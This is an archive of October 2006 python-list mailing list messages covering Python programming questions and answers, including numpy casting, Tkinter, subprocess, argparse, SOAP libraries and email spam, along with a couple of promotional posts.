Date: 31 Oct 2006 14:11:41 -0800
Subject: "best" rational number library for Python?
In-Reply-To: <mailman.1558.1162317188.11739.python-list@python.org>
References: <mailman.1558.1162317188.11739.python-list@python.org>
Message-ID: <1162332701.129050.131770@m7g2000cwm.googlegroups.com>

> A guy at work asked for functionality commonly found with rational numbers,
> so I said I'd find and install something.  I figured gmpy would be suitable,
> alas I'm having trouble successfully building the underlying GMP 4.2.1
> library on a PC running Solaris 10 (won't compile with the default --host,
> fails "make check" if I go the no-assembly route).  Before I invest a bunch
> of time into this, am I barking up the wrong tree?
>
I've successfully compiled GMP 4.2.1 on Solaris 10 x86 using both the
GCC and Sun Studio compilers on AMD 32-bit platform.

I just compiled GMP 4.2.1 on a P4 using

$ CFLAGS="" CC=gcc ./configure
$ gmake; gmake check

and all tests passed.

casevh



From mail at microcorp.co.za  Wed Oct  4 08:27:56 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 4 Oct 2006 14:27:56 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
	<bWMUg.1508$NE6.122@newssvr11.news.prodigy.com>
Message-ID: <037b01c6e7c7$80166fa0$03000080@hendrik>

 "James Stroud" <jstroud at mbi.ucla.edu> wrote:
> Hendrik van Rooyen wrote:
> > Hi,
> >
> > I get the following:
> >
> > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> > UpdateStringProc should not be invoked for type font
> > Aborted
> >
> > and I am back at the bash prompt - this is most frustrating, as there is no
> > friendly traceback to help me guess where its coming from.
> >
> > And what is worse, the script runs for a varying time before it simply exits
> > like this.
> >
> > What can I do to dig deeper to try to find a clue? - I don't even know if
its
> > Python, Tkinter or Linux...
> >
> > Some background:
> >
> > The application is a prototype gui for a controller of an injection moulding
> > machine.
> > It has two rows of five buttons across the top, and a canvas containing
various
> > objects over the rest of the screen.
> > Extensive use is made of configure to change the text of the buttons, as
well as
> > their command bindings,
> > to keep "the state of the system" current - its quite a hack at this time,
as I
> > am still experimenting with getting the interface intuitive.
> > On the canvas, there are multiple instances of a Meter class to show things
like
> > temperatures and pressures,
> > as well as a schematic representation of the machine, created out of
polygons
> > and lines.
> > The schematic, as well as the Meters, are crudely animated by deleting and
> > redrawing the objects repetitively with slightly different parameters in
> > response to button presses. This is done by starting different threads to
> > implement the various motions, which repetitively call kill and draw methods
in
> > the main app, after which they (the threads) commit seppoku by returning.
> >
> > Everything seems to work fine. - there is a thread that runs to move the
meter
> > values around continuously, and this has been stable for some time now, and
I
> > can get the various "machine" parts to move around the screen by pushing the
> > buttons.
> > The trouble occurs when I put the "machine" into Auto mode, simulating the
> > various motions in a loop, - it runs for anything from a few tens to a few
> > hundreds of cycles before handing in its dinner pail like this.
> >
> > Any Ideas on what to do next to find the culprit?
> >
> > - Hendrik
> >
>
> Minimal source code to reproduce this error would help tremendously.

I was hoping for some advice as to how to choose the broken stuff out of the
approximately 1400 lines of code - what do I keep in, and what do I leave out -
If I knew in which area the thing was cracking up, or if I could form a theory
of why it is breaking, I could choose better, and maybe reproduce it - as it is,
to produce the strace that I submitted took most of the morning, and I am
frankly no further along the road...

- Hendrik




From steven.bethard at gmail.com  Tue Oct 24 12:13:04 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 24 Oct 2006 10:13:04 -0600
Subject: [ANN] argparse 0.2 - Command-line parsing library
In-Reply-To: <d11dcfba0610231636y6f0bfb4bwaf4d32295a54524e@mail.gmail.com>
References: <d11dcfba0610231636y6f0bfb4bwaf4d32295a54524e@mail.gmail.com>
Message-ID: <d11dcfba0610240913r59c4a6ebnd5a193fb8685adde@mail.gmail.com>

Announcing argparse 0.2
-----------------------

argparse home:
 http://argparse.python-hosting.com/

argparse single module download:
 http://argparse.python-hosting.com/file/trunk/argparse.py?format=raw

argparse bundled downloads at PyPI:
 http://www.python.org/pypi/argparse/


About this release
==================

This release fixes a few minor bugs, modifies the 'store_true' and
'store_false' actions to have more natural defaults, and adds an
epilog= keyword argument to ArgumentParser for text to be printed
after the help messages. (The latter is in line with the `updates to
optparse`_ for Python 2.5.)

.. _updates to optparse: http://www.python.org/doc/2.5/whatsnew/modules.html

New in this release
===================

* The 'store_true' action's default is now False (instead of None).
* The 'store_false' action's default is now True (instead of None).
* ArgumentParser objects now accept an epilog= keyword argument.


About argparse
==============

The argparse module is an optparse-inspired command line parser that
improves on optparse by:

* handling both optional and positional arguments
* supporting parsers that dispatch to sub-parsers
* producing more informative usage messages
* supporting actions that consume any number of command-line args
* allowing types and actions to be specified with simple callables
instead of hacking class attributes like STORE_ACTIONS or
CHECK_METHODS

as well as including a number of other more minor improvements on the
optparse API. To whet your appetite, here's a simple program that sums
its command-line arguments and writes them to a file::

   parser = argparse.ArgumentParser()
   parser.add_argument('integers', type=int, nargs='+')
   parser.add_argument('--log', type='outfile', default=sys.stdout)
   args = parser.parse_args()
   args.log.write('%s\n' % sum(args.integers))
   args.log.close()


From deets at nospam.web.de  Tue Oct 17 11:34:43 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 17 Oct 2006 17:34:43 +0200
Subject: How to invoke ipython in Mac OS X?
References: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>
	<4pk8r8FjagluU1@uni-berlin.de>
	<pecora-A0B85B.11102217102006@ra.nrl.navy.mil>
Message-ID: <4pkbgkFjg8p8U1@uni-berlin.de>

Lou Pecora wrote:

> In article <4pk8r8FjagluU1 at uni-berlin.de>,
>  "Diez B. Roggisch" <deets at nospam.web.de> wrote:
> 
>> Lou Pecora wrote:
>> 
>> > I installed the SciPy superpackage and have pylab, matplotlib, scipy,
>> > and numpy apparently running well.  But I want to use matplotlib/pylab
>> > interactively.  The instructions suggest doing this in IPython.  But
>> > using ipython on the command line gives me an error.  The system
>> > doesn't
>> > know the command.  Apparently there is no ipython executable in one of
>> > the bin directories.  I thought the superpackage would add that
>> > automatically, but I guess not.
>> > 
>> > Can anyone tell me how to get ipython running on my MacOSX 10.4 system?
>> 
>> This is just a guess - but did you check your
>> 
>> /Library/Frameworks/Python.framework/Versions/Current/bin
> 
> 
> Just checked it. Nothing there for IPython.

Are you sure you checked in all possible locations - it might well be that
e.g. the shipped python2.3 is under 

/System/Library/....

I can't check up on that myself, as at work I'm using Linux.

Where it is depends on which python interpreter you used to compile scipy.
And possibly it got installed under /usr/local/bin - this could be caused
by scipy installing it there.
 
>> directory for the ipython-binary? Usually, that will be the prefix of
>> anything compiled/installed to framework-builds. So either you add that
>> to your path, or create links to e.g. /usr/local/bin
> 
> I'm not quite following this last suggestion.  Can you explain more.

_If_ the binary got installed there, you need to add the path to your
PATH-environment, or create a link to a location that is in the path.

For example, I have

ln -s /Library/Frameworks/Python.framework/Versions/2.4/bin/pydoc /usr/bin/pydoc2.4

on my system, to have the pydoc2.4 command available.

You could also create an alias, of course.

Diez


From martin at v.loewis.de  Wed Oct 11 00:47:29 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Oct 2006 06:47:29 +0200
Subject: does raw_input() return unicode?
In-Reply-To: <mailman.248.1160531991.11739.python-list@python.org>
References: <12iln7en9ipit77@corp.supernews.com>	<452b5190$0$29833$9b622d9e@news.freenet.de>	<mailman.178.1160467772.11739.python-list@python.org>	<452BD8A2.4060708@v.loewis.de>
	<mailman.248.1160531991.11739.python-list@python.org>
Message-ID: <452C7761.7070703@v.loewis.de>

Theerasak Photha schrieb:
> The other way around: would urwid use raw_input() or other Python
> input functions anywhere?

Since I still don't know what urwid is, I can't answer the question.
It should be easy enough to grep its source code to find out whether
it ever uses raw_input.

> And what causes Unicode input to work in IDLE alone?

Because in IDLE, it is possible to enter characters that are not
in the user's charset. For example, if the user's charset is
cp-1252 (western european), you can still enter cyrillic characters
into IDLE. This is not possible in a regular terminal.

Regards,
Martin


From gherron at islandtraining.com  Sun Oct 15 02:05:11 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Sat, 14 Oct 2006 23:05:11 -0700
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <87bqoe2kd6.fsf@benfinney.id.au>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>	<mailman.526.1160885916.11739.python-list@python.org>	<1160886206.594661.321230@e3g2000cwe.googlegroups.com>
	<87bqoe2kd6.fsf@benfinney.id.au>
Message-ID: <4531CF97.6010807@islandtraining.com>

Ben Finney wrote:
> "Chris" <chrispatton at gmail.com> writes:
>
>   
>> Oh, ok that explains it. Is that why my 16-bit calculator gives me
>> 0?
>>     
>
> Your calculator is probably doing rounding without you asking for it.
>   
Yes. Almost all calculators have 1 or 2 guard digits. These are extra
digits beyond what is shown on the display. All calculations are done at
that higher precision and the result are rounded to the precision of the
display for the user's benefit.

This satisfies users who know nothing about the numerical imprecision of
finite digit arithmetic. Python makes the opposite assumption that we
are are adults here and can handle the full knowledge, slight
imprecision and all.

Dr. Gary Herron

> Python refuses to guess what you want, and gives you the information
> available.
>
>   



From robert.kern at gmail.com  Thu Oct 26 18:02:48 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Thu, 26 Oct 2006 17:02:48 -0500
Subject: numpy numbers converted wrong
In-Reply-To: <ehr4gn$24ur$1@ulysses.news.tiscali.de>
References: <ehr4gn$24ur$1@ulysses.news.tiscali.de>
Message-ID: <ehrba9$fei$1@sea.gmane.org>

robert wrote:
> in Gnuplot (Gnuplot.utils) the input array will be converted to a Numeric float array as shown below. When I insert a numpy array into Gnuplot like that below, numbers 7.44 are cast to 7.0 
> Why is this and what should I do ? Is this bug in numpy or in Numeric?
> 
> 
> [Dbg]>>> m         #numpy array
> array([[  9.78109200e+08,   7.44000000e+00],
>        [  9.78454800e+08,   7.44000000e+00],
>        [  9.78541200e+08,   8.19000000e+00],
>        ..., 
>        [  1.16162280e+09,   8.14600000e+01],
>        [  1.16170920e+09,   8.10500000e+01],
>        [  1.16179560e+09,   8.16800000e+01]])
> [Dbg]>>> Numeric.asarray(m, Numeric.Float32)[:10]
> array([[ 9.78109184e+008,  7.00000000e+000],
>        [ 9.78454784e+008,  7.00000000e+000],
>        [ 9.78541184e+008,  8.00000000e+000],
>        [ 9.78627584e+008,  8.00000000e+000],
>        [ 9.78713984e+008,  8.00000000e+000],
>        [ 9.78973184e+008,  8.00000000e+000],
>        [ 9.79059584e+008,  8.00000000e+000],
>        [ 9.79145984e+008,  8.00000000e+000],
>        [ 9.79232384e+008,  9.00000000e+000],
>        [ 9.79318784e+008,  8.00000000e+000]],'f')
> [Dbg]>>> Numeric.asarray(m, Numeric.Float)[:10]
> array([[ 9.78109200e+008,  7.00000000e+000],
>        [ 9.78454800e+008,  7.00000000e+000],

The problem is with the version of Numeric you are using. I can replicate this 
problem with Numeric 24.0 but not with 24.2.

> and why and what is:
> 
> [Dbg]>>> m[0,1]
> 7.44
> [Dbg]>>> type(_)
> <type 'numpy.float64'>
> [Dbg]>>> 

It is a scalar object. numpy supports more number types than Python does so the 
scalar results of indexing operations need representations beyond the standard 
int, float, complex types. These scalar objects also support the array 
interface, so it's easier to write generic code that may operate on arrays or 
scalars. Their existence also resolves the long-standing problem of maintaining 
the precision of arrays even when performing operations with scalars. In 
Numeric, adding the scalar 2.0 to a single precision array would return a 
double-precision array. Worse, if a and b are single precision arrays, (a+b[0]) 
would give a double-precision result because b[0] would have to be represented 
as a standard Python float.

The _Guide to NumPy_ has a discussion of these in Chapter 2, part of the sample 
chapters:

   http://numpy.scipy.org/numpybooksample.pdf

> does this also slow down python math computations? 

If you do a whole lot of computations with scalar values coming out of arrays, 
then yes, somewhat. You can forestall that by casting to Python floats or ints 
if that is causing problems for you.

> should one better stay away from numpy in current stage of numpy development?
 > I remember, with numarray there were no such problems.

Not really, no.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From chiquito at gmail.com  Fri Oct 20 12:08:15 2006
From: chiquito at gmail.com (Ricardo Reyes)
Date: 20 Oct 2006 09:08:15 -0700
Subject: Determining if a file is locked in Windows
References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
	<ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>
	<1161269072.312305.297430@m73g2000cwd.googlegroups.com>
Message-ID: <1161360495.031017.220490@e3g2000cwe.googlegroups.com>

elake wrote:
> Larry Bates wrote:
> > elake wrote:
> > > I found this thread about a pst file in Windows being locked and I am
> > > having the same issue.
> > >
>

>
> The problem is that even though I catch the IOError it overwrites the
> dst file and makes it 0kb. This is going to be for backing these files
> up and it wont be good to overwrite the backup with a bad copy.
>

You can try to copy to a dst file that is not the backup file, but
instead it's in a temp location or with a temp name.

If the copy fails with IOError, just delete the new 0 bytes temp file.
If the copy doesn't fail, delete the old backup, rename the new temp
file to the destination name, and you are done. The rename part
shouldn't fail since you are operating in a new file that's not locked.
And for extra safety, don't erase the old backup before renaming the
new one, but rename to .bak.old or something like that.

Good luck.

Ricardo



From eric_brunel at despammed.com  Wed Oct 11 05:22:45 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Wed, 11 Oct 2006 11:22:45 +0200
Subject: Tkinter: populating Mac Help menu?
References: <6nMWg.64$ra5.26@newsfe05.lga>
Message-ID: <op.tg82z7qgrqur0o@eb.pragmadev>

On Tue, 10 Oct 2006 14:29:46 +0200, Edward K. Ream <edreamleo at charter.net>  
wrote:
[snip]
> So given x (a string), how does one create a widget whose name is  
> '%s.help'
> % x ?  This is a can of corn in Tk, but nothing comes to mind looking at  
> the
> Tkinter source code.

Use the 'name' keyword when creating the menu itself:

----------------------------------------------------
 from Tkinter import *

root = Tk()

mb = Menu(root)
root.configure(menu=mb)

## Normal menu
fm = Menu(mb)
fm.add_command(label='Quit', command=root.quit)
mb.add_cascade(label='File', menu=fm)

## Help menu with a specific name
hm = Menu(mb, name='help')
hm.add_command(label='About...')
mb.add_cascade(label='Help', menu=hm)

root.mainloop()
----------------------------------------------------

I didn't test it on MacOS-X, but the same trick should be used when  
creating help menus on Unix (this menu is supposed to appear at the right  
of the menubar according to Motif conventions).

HTH
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


From amk at amk.ca  Tue Oct  3 08:33:45 2006
From: amk at amk.ca (A.M. Kuchling)
Date: Tue, 03 Oct 2006 07:33:45 -0500
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>

On Tue, 03 Oct 2006 08:19:10 GMT, 
	Giovanni Bajo <noway at sorry.com> wrote:
> ... using a non open source tracker (called JIRA - never heard
> before of course) for Python itself.

Other projects do use it; see
<http://wiki.apache.org/general/ApacheJira> for a partial list, and a
link to the Apache Software Foundation's issue trackers.

> Does this smell "Bitkeeper fiasco" to anyone else than me?

The committee did expect this recommendation to be controversial.  :)

--amk


From editor at methodsandtools.com  Mon Oct 16 07:00:04 2006
From: editor at methodsandtools.com (editormt)
Date: 16 Oct 2006 04:00:04 -0700
Subject: New Software Development Articles Directory
Message-ID: <1160996404.711083.205570@k70g2000cwa.googlegroups.com>

A new links directory of articles related to software development is
"under construction" on http://www.softdevarticles.com/

Please feel free use it in future research and to contribute with your
articles on python.



From joshbloom at gmail.com  Fri Oct  6 11:53:36 2006
From: joshbloom at gmail.com (Josh Bloom)
Date: Fri, 6 Oct 2006 08:53:36 -0700
Subject: Debugging question: Print out program state (Variables)
Message-ID: <d25b6e9a0610060853u1fdde8a6pa4b8a26979693b59@mail.gmail.com>

Hello PyListers,

I have a python script that runs nightly and fetches info from various
webservers and does some processing on the data. Occasionally my script has
a problem and is unable to finish its work. I have try blocks and logging
for most of the errors that can happen.

What I would like to do is write out the state of my script when an error is
encountered. I've been looking at the traceback module and think Im on the
right track, but I haven't figured out a way to write out all of the
programs current variables. Is there a handy module that can do something
like that?

Thanks,
Josh
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From fakeaddress at nowhere.org  Fri Oct  6 13:30:57 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Fri, 06 Oct 2006 17:30:57 GMT
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
In-Reply-To: <eg5j9c$g62$1@panix3.panix.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>
	<eg5j9c$g62$1@panix3.panix.com>
Message-ID: <lpwVg.20012$Ij.19245@newssvr14.news.prodigy.com>

Aahz wrote:
> The problem is the network effect.  In this case, what Google has that
> can't be replicated is the history of posts.

There's no magic there. Get them the same way Google and
Dejanews got them, plus you might scrape Google, from some
locality with favorable laws.


-- 
--Bryan


From esj at harvee.org  Wed Oct 25 00:55:37 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Wed, 25 Oct 2006 00:55:37 -0400
Subject: Getting a lot of SPAM from this list
In-Reply-To: <17725.12208.931743.88672@montanaro.dyndns.org>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>	<7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>
	<17725.12208.931743.88672@montanaro.dyndns.org>
Message-ID: <ehmqob$6so$1@sea.gmane.org>

skip at pobox.com wrote:
>     Gabriel> I use a discardable email address from Yahoo. Spam filtering is
>     Gabriel> good, and when you get too much spam, just delete that address
>     Gabriel> and create another one.
> 
> Maybe it's just me, but creating and discarding email addresses makes me
> think the spammers have won.  I'd prefer to face them down at high noon.
> Six guns at twenty paces (figuratively speaking, of course).

using a baseball bat to chase them across one or more yellow jackets 
nest work for me.

But to address your issue about spammers having won, I would argue that 
they have.  mailing list archives are cluttered with so much junk 
they're useless, people are losing e-mail they should otherwise get, 
folks are abandoning e-mail addresses rendering contact information on 
webpages and memory useless.

Filters are not the answer.  Filters are actually the problem because 
since they operate on a probabilistic basis, spammers gain more 
visibility by increasing traffic.  Filters improve, volumes go up.

It's gotten so bad, people are making serious plans to introduce 
identity-based systems to authenticate servers and possibly even 
addresses.  What's scary is that this kind of technology can be easily 
abused by various powers to shut down the ability to speak.  Just think 
about the judicial load needed to adjudicate complaints in either direction.

I have a solution that has been working for me for the past three or 
four years.  I'm almost done with the next release (I pray) with a 
better installation process as well as improvements throughout the system.

I'll post the announcement here when things are working.

---eric



From apardon at forel.vub.ac.be  Wed Oct  4 04:07:08 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 08:07:08 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <slrnei6qtc.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-03, LaundroMat <Laundro at gmail.com> wrote:
> Suppose I have this function:
>
> def f(var=1):
> return var*2
>
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..
>
> Thanks in advance.

One possible way to do what I think you want is to code as follows:

class Default (object):
  pass

def f(var=Default):
  if var is Default:
    var = 1
  return var * 2

-- 
Antoon Pardon


From fredrik at pythonware.com  Sun Oct 29 05:33:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 11:33:36 +0100
Subject: Where do nested functions live?
In-Reply-To: <4544717D.4020908@vtxmail.ch>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>	<ehv2l1$a23$1@sea.gmane.org>	<mailman.1410.1162052677.11739.python-list@python.org>	<4qhf11Fn4g9fU1@uni-berlin.de>
	<4544717D.4020908@vtxmail.ch>
Message-ID: <ei2020$bco$1@sea.gmane.org>

Frederic Rentsch wrote:

> At some later point I need to increment my units some more and probably 
> will again a number of times. Clearly this has to go into a function.

since Python is an object-based language, clearly you could make your 
counter into a self-contained object instead of writing endless amounts 
of code and wasting CPU cycles by storing what's really a *single* state 
in a whole bunch of separate variables.

in your specific example, you can even use an existing object:

    t = datetime.datetime.now()

    # increment
    t += datetime.timedelta(milliseconds=msec)

    print t.timetuple() # get the contents

if you're doing this so much that it's worth streamlining the timedelta 
addition, you can wrap the datetime instance in a trivial class, and do

    t += 1500 # milliseconds

when you need to increment the counter.

 > This is a little like a shop where the mechanics have to get their
 > tools and work pieces from the manager and hand them back to him when 
 > they're done.

that could of course be because when he was free to use whatever tool he 
wanted, he always used a crowbar, because he hadn't really gotten around 
to read that "tool kit for dummies" book.

</F>



From fredrik at pythonware.com  Wed Oct 25 15:21:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 21:21:01 +0200
Subject: question about True values
In-Reply-To: <grO%g.152$1n3.4134@news.tufts.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <ehoder$jm8$1@sea.gmane.org>

John Salerno wrote:

> I'm a little confused. Why doesn't s evaluate to True in the first part, 
> but it does in the second? Is the first statement something different?
> 
>  >>> s = 'hello'
>  >>> s == True
> False
>  >>> if s:
> 	print 'hi'

"true" != "True".  comparing a value to another value isn't the same 
thing as interpreting a value in a specific context:

     http://docs.python.org/lib/truth.html

</F>



From larry.bates at websafe.com  Tue Oct 24 15:40:49 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 24 Oct 2006 14:40:49 -0500
Subject: The status of Python and SOAP?
In-Reply-To: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
Message-ID: <453E6C41.90200@websafe.com>

I would venture to guess that this is the one I would lean towards
if I needed SOAP support:

http://www.effbot.org/downloads/#elementsoap

I know is says "experimental" but Fredrik Lundh's idea of experimental
always seems to be everyone else's idea of a shipping product (e.g his
code just seems to work).  Since it is based on elementree, which is
now in the standard library, I think it would be a good bet.  Perhaps
you could assist on the development?

-Larry


From mirandacascade at yahoo.com  Sun Oct 22 14:45:41 2006
From: mirandacascade at yahoo.com (mirandacascade at yahoo.com)
Date: 22 Oct 2006 11:45:41 -0700
Subject: ElementSOAP tutorial / HTTPClient
Message-ID: <1161542741.637705.272180@b28g2000cwb.googlegroups.com>

Operating system: Windows XP Home
Version of Python: 2.4

While looking through the tutorial on ElementSOAP at the following
link:

http://effbot.org/zone/element-soap.htm

I observed sample code that included:

from HTTPClient import HTTPClient

When I get into Pythonwin and attempt the import statement above:

>>> from HTTPClient import HTTPClient
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
ImportError: No module named HTTPClient

In addition:
1) a case-insensitive search for any files with 'HTTPClient' where the
search begins in the c:\python24\ and includes all sub-folders results
in a: "Search is complete. There are not results to dsiplay." message
2) a search of this Google group for HTTPClient didn't result in any
links that appeared to point me to where I could find a package that
includes HTTPClient
3) a search in the python.org home page for HTTPClient didn't result in
any links that appeared to point me to where I could find a package
that includes HTTPClient

I noticed that there is a file httplib.py in which the docstring begins
"HTTP/1.1 client library", but I couldn't figure out whether what was
in httplib.py replaced HTTPClient.py, and if so, how.

So, my questions are:
1) is there a package available which, when installed, will allow the

from HTTPClient import HTTPClient

statement to execute without ImportError?

2) how should I have constructed my searches when attempting to resolve
this issue such that I wouldn't have had to post this question?

Thank you.



From fredrik at pythonware.com  Thu Oct 19 02:33:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 08:33:10 +0200
Subject: Getting method name from within the class method
In-Reply-To: <7.0.1.0.0.20061018200044.03588168@yahoo.com.ar>
References: <mailman.716.1161205201.11739.python-list@python.org>	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>	<20061018145926.0e8d3277@opal.pathscale.com>	<mailman.723.1161209498.11739.python-list@python.org>	<1161210607.901928.26430@e3g2000cwe.googlegroups.com>
	<7.0.1.0.0.20061018200044.03588168@yahoo.com.ar>
Message-ID: <eh7677$saf$1@sea.gmane.org>

Gabriel Genellina wrote:

> I could see some merit on getting that info in an automatic way.
> The only reason I can see for knowing the name of a function is for 
> debugging purposes - maybe some kind of logging utility. If you are in 
> "debug mode", resources are not too important, but correct information 
> is. Imagine a logfile that says that you were at function_a but instead 
> you were at function_b (because of copy&paste without replacing the names)

imagine a log file that says that you're about to create a file when 
you're actually removing it (because of copy&paste without replacing the 
message).

focussing on function names when logging is pretty silly, anyway.  it's 
usually better to focus on that the code is actually doing, rather than 
internal artifacts.

but even if you want to output function names, it's of course better to 
put that functionality into the logging function itself:

     ##
     # Issues a log message.

     def log(fmt, *args):
         print who_called_me(2), "-", fmt % args

     ##
     # Returns the name of the calling function or method, if known.
     #
     # @param depth Stack depth.  Defaults to immediate caller.
     # @return The name of the calling function.

     def who_called_me(depth=1):
         return sys._getframe(depth).f_code.co_name

</F>



From skip at pobox.com  Mon Oct 23 17:23:34 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 23 Oct 2006 16:23:34 -0500
Subject: Looking for a Python-on-Windows person to help with SpamBayes
In-Reply-To: <1161637517.097585.325860@k70g2000cwa.googlegroups.com>
References: <mailman.994.1161625959.11739.python-list@python.org>
	<1161637517.097585.325860@k70g2000cwa.googlegroups.com>
Message-ID: <17725.13014.735401.684490@montanaro.dyndns.org>


    >> The bare requirements are:
    >> 
    >> * Able to program in Python on Windows (that is, remove my Unix-think
    >> from the OCR bits of code)
    >> 
    >> * Use Outlook to read mail (so you can test the changes with the
    >> SpamBayes Outlook plugin)

    George> Does "remove my unix-think" mean replacing it with equivalent
    George> Windows-think (e.g through Win32all, Win32 API, COM) or it can
    George> be done in platform-independent way ? 

The latter I think.  This particular part of the code doesn't involve any
GUI bits.  I could probably do it myself in an hour or so, but I simply
don't have access to Windows at home.

    George> In the second case I might be able to help as I'm using
    George> SpamBayes with Outlook at work, but I don't do windows-specific
    George> programming.

That would be great...

Skip


From tomwingmak at yahoo.com  Tue Oct  3 06:26:40 2006
From: tomwingmak at yahoo.com (tommak)
Date: 3 Oct 2006 03:26:40 -0700
Subject: Artificial Mind - Part One - Basic Architecture and Cognitive
	Structure is now available
Message-ID: <1159871200.703771.144210@c28g2000cwb.googlegroups.com>

It's a dream of human beings to build machines that can think and
behave like human beings.  The most important part of of such a machine
is an artificial mind that can emulate the cognitive processing of
human mind.

This book, "Next Generation Artificial Intelligence, Artificial Mind -
Part One - Basic Architecture and Cognitive Structure" introduces a
basic artificial mind architecture and computational model for
cognitive processing.  Inside the book, three important cognitive
process modeling components, mental objects network (MON),
associative-learning mechanisms and a concept formation principle are
introduced.  Based on the architecture and the computational model, one
can develop his own model of artificial mind according to his own
specific requirements.

The first edition of Artificial Mind - Part One is now available for
purchase from the author's personal web site. The price of the e-book
is USD7.00 (seven US dollars).  An evaluation edition of this e-book is
also available for download from the web site.

The author's personal web site:
http://www.geocities.com/tomwingmak/



From utabintarbo at gmail.com  Thu Oct  5 08:33:04 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 5 Oct 2006 05:33:04 -0700
Subject: Asychronous execution *with* return codes?
Message-ID: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>

I hope I have not overlooked a solution already posted, but I seem to
be unable to suss out a way to achieve both multiple console-less
executions of a given (console) application and gathering the return
code from the application.

What I have found:
<code>
import subprocess

# gives back return code, but does not run asynchronously
retcode = subprocess.call([app, lstArgs])
retcode = subprocess.Popen([app] + lstArgs).wait()
# runs the app async, but only returns the pid (no return code)
pid = subprocess.Popen([app] + lstArgs).pid
</code>

Is there some magic elixir which will get me both?

TIA



From fidel.andrade at gmail.com  Fri Oct 20 19:55:55 2006
From: fidel.andrade at gmail.com (Fidel)
Date: Fri, 20 Oct 2006 17:55:55 -0600
Subject: I like python.
In-Reply-To: <1161379318.934985.115810@m7g2000cwm.googlegroups.com>
References: <mailman.824.1161333065.11739.python-list@python.org>
	<1161379318.934985.115810@m7g2000cwm.googlegroups.com>
Message-ID: <254cf6720610201655j64c0b396i2a12bd818720b7e@mail.gmail.com>

Thank you Jerry. That was exactly what I was looking for. The script
in fact does call an external program and give it a command from a
randomized list.  Specifically it is a random wallpaper setter using
the windows version of bsetroot. script scans a directory, creates a
list of viable walls and tells bsetroot to set the wallpaper.  Using
popen instead of system did the trick handily. I thank you verily.

On 20 Oct 2006 14:21:59 -0700, Jerry <jweida at gmail.com> wrote:
> On Oct 20, 2:59 am, Fidel <fidel.andr... at gmail.com> wrote:
> > Could someone please tell me what I need to put into a python script
> > to not have a window come up however briefly? Like when I double click
> > on the script, it will do it's job but won't open a command window
> > then close it.. I hope that explains what I'm looking for.  If I see
> > the line I can figure out by syntax where it should go. I'm really
> > good at learning the gist of languages by syntax.  Thank you all for
> > your time
>
> Are you running any external commands by using os.system() or
> os.exec()?  If you are running a program that is a console program
> (i.e. copy, move, del, etc...) then it will open up a command window to
> run it.  If that is the case, then you can try using the os.popen()
> utility instead.
>
> --
> Jerry
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


-- 
Fidel


From theller at python.net  Fri Oct 13 02:59:30 2006
From: theller at python.net (Thomas Heller)
Date: Fri, 13 Oct 2006 08:59:30 +0200
Subject: OT: What's up with the starship?
Message-ID: <egndgg$hog$1@sea.gmane.org>

I cannot connect to starship.python.net: neither http, nor can I login interactively with ssl (and the host key seems to have changed as well).

Does anyone know more?

Thanks,
Thomas



From grante at visi.com  Wed Oct 11 00:24:17 2006
From: grante at visi.com (Grant Edwards)
Date: Wed, 11 Oct 2006 04:24:17 -0000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
